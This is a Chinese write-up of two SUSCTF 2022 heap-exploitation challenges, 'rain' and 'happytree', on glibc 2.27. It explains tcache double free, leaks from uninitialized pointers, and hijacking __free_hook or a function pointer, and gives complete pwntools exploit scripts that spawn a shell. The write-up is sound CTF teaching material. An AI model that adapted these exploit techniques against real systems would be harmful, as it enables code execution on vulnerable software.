-
-
[原创]【susctf2022】
-
2022-4-28 16:01 7428
-
学到的知识
(1)glibc2.27-3无对tcache double free的检测即key指针
(2)未初始化指针利用:申请的chunk如果为初始化会保留bin中的fd,bk等指针,可以利用这些未初始化的值leak libc或者堆块地址。hgame里很多堆题都没有初始化指针,可以非预期泄露libc
(3)平衡二叉树:维护一颗二叉树,保证任何一个节点的左子树上的所有结点都比自己小,右子树上所有节点都比自己大
(4)c++:可以通过new和delet实现内存的分配,但内核还是malloc和free函数,而且用法和malloc以及free差别不大
1.rain
版本
glibc 2.27
-3版本不存在对tcache double free的检测
保护
发现没开pie,考虑可以利用elf的got表或plt表
反汇编
main
从menu里面可以看出主要有三个功能config、call rdx 、rain
初始化
config
修改v4,将v4[7]的位置放一个堆块并且对其进行修改
call rdx
call v4[5]: 初始是一个打印v4内容的函数,后面可以劫持它
rain
实现代码雨,和利用没啥大关系
利用思路
config里面有一个realloc函数,可以实现free和malloc两种功能
首先在v4[7]位置申请一个和v4大小相同的堆块,double free它,rain过后再次申请就会使得v4和v4[7]的堆块地址相同。那么我们就可以利用后续修改v4[7]来实现修改v4
首先修改v4[6]的位置为任意函数的got并且将v4[7]置为0,这样就会打印got表来leak libc
然后修改v4为sh,v4[5]为system函数,这样在menu时选择2就会调用后门
细节
为啥'/bin/sh\x00'不行要用‘sh’,因为这里的*v4其实是一个循环的次数:
如果太大会直接导致程序崩溃
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | from pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) r = process( './rain' ) elf = ELF( './rain' ) libc = ELF( './libc.so.6' ) read = elf.got[ 'read' ] log.success( 'read:' + hex (read)) def z(): gdb.attach(r) def cho(name): r.sendafter( "ch> " , str (name)) def config(con): cho( 1 ) r.sendafter( "FRAME> " , '\x00' * 18 + con) def show(): cho( 2 ) def rain(): cho( 3 ) #tcache double free config( 'a' * 0x20 ) config( 'a' * 0x40 ) config('') config('') #leak_libc rain() pd = p64( 0 ) + p64( 0x6161616161610102 ) + p64( 0x620250 ) + p64( 0x6204e0 ) + p64( 0xc35000000064 ) + p64( 0x400e17 ) + p64(read) + p64( 0 ) config(pd) show() r.recvuntil( 'Table: ' ) libcbase = u64(r.recvuntil( '\x7f' ).ljust( 8 , '\x00' )) - libc.sym[ 'read' ] log.success( 'libcbase:' + hex (libcbase)) system = libcbase + libc.sym[ 'system' ] config('') config( 'sh\x00\x00' + '\x00' * 4 + p64( 0x0201 ) + p64( 0x620250 ) + p64( 0x6204e0 ) + p64( 0x0000c35000000030 ) + p64(system) + p64(read) + p64( 0 )) cho( 2 ) r.interactive() |
2.happytree
版本
glibc 2.27
保护
ida
main
由menu可以发现实现了三种功能,insert,delet和show。整体上看,这是用一个平衡二叉树来存储堆块地址。
insert
发现树上的节点都是一个0x20(不包含size和pre_size位)大小的如下结构体:
1 2 3 4 5 6 | struct tree{ char size; / / 该节点的大小,也是 * con指针指向的chunk的大小(同样不包含size,pre_size) long * con; / / 保存节点内容的chunk指针 long * right / / 右子树指针 long * left / / 左子树指针 } |
note存储的是根节点的地址
delet
这里的流程用到了递归
如果当前的size和要寻找的size一样,就进入大的条件判断
此时分三种情况:
(1)左右节点指针同时存在:找到比a2的size大的最小的size的节点删除
(2)左右节点存在一个:删除该节点并返回存在的节点指针
(3)左右节点都不存在:删除该节点返回0
”(1)“比较复杂,当时也想不出来有啥用,就和注释的一样。不太好可控,所以利用的时候构造的都是两条从根节点出发的单链,即左边一直放大,右边一直减小。
show
简单的打印con
利用思路
把tcache填满后放一个chunk进入unsorted bin
先后申请0x20(节点同大小的chunk)和0x40(这里是为了切割unsorted chunk)的大小,利用指针未初始化leak libcbase和heapbase
然后思考可否double free,我们发现delet的是节点和con指针指向的chunk,通过伪造来实现free(con)应该不现实,因为insert会分配伪造的堆块的*con。那我们就只能考虑free一个伪造的节点,到达这个节点必然是通过前面节点的子节点指针。
这样利用思路就很明确了,申请一个0x20大小的堆块,content中将子节点指针中的一个置为我们想要free的堆块的地址。free掉进入tcache,那么下下次(这个0x20的堆块是作为*con,先被free,所以在tcache里它前面还有一个后free的节点指针)创造新的节点就会使用到这个伪造的chunk,再通过平衡树的机制找到它free了就好。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | from pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) r = process( './happytree' ) libc = ELF( './libc.so.6' ) def z(): gdb.attach(r) def cho(num): r.sendlineafter( "cmd> " , str (num)) def add(size,con): cho( 1 ) r.sendlineafter( "data: " , str (size)) r.sendafter( "content: " ,con) def delet(size): cho( 2 ) r.sendlineafter( "data: " , str (size)) def show(size): cho( 3 ) r.sendlineafter( "data: " , str (size)) ## fill_tcache for i in range ( 0 , 8 ): add( 0x80 + i, 'nameless' ) for i in range ( 0 , 8 ): delet( 0x80 + 7 - i) ## leak_heap add( 0x20 , 'nameless' ) show( 0x20 ) r.recvuntil( "content: " ) r.recvuntil( "nameless" ) heap = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - 0x11ff0 - 0x30 log.success( 'heap:' + hex (heap)) delet( 0x20 ) ## leak_libc add( 0x40 , 'nameless' ) show( 0x40 ) r.recvuntil( "content: " ) r.recvuntil( "nameless" ) libcbase = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - 0x3ca189 - (libc.sym[ '__libc_start_main' ] + 231 ) free_hook = libcbase + libc.sym[ '__free_hook' ] system = libcbase + libc.sym[ 'system' ] log.success( 'libcbase:' + hex (libcbase)) delet( 0x40 ) ## tcache double free target = heap + 0x11e70 add( 0x20 ,p64( 0 ) + p64( 0 ) + p64(target)) delet( 0x20 ) add( 0x90 , '/bin/sh\x00' ) add( 0x10 , 'nameless' ) ##z() delet( 0 ) add( 0x40 ,p64(free_hook)) add( 0x41 , 'nameless' ) add( 0x42 ,p64(system)) delet( 0x90 ) r.interactive() |
关于leaklibc后的节点图示
这部分可能有点抽象,自己画画图就好理解了
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课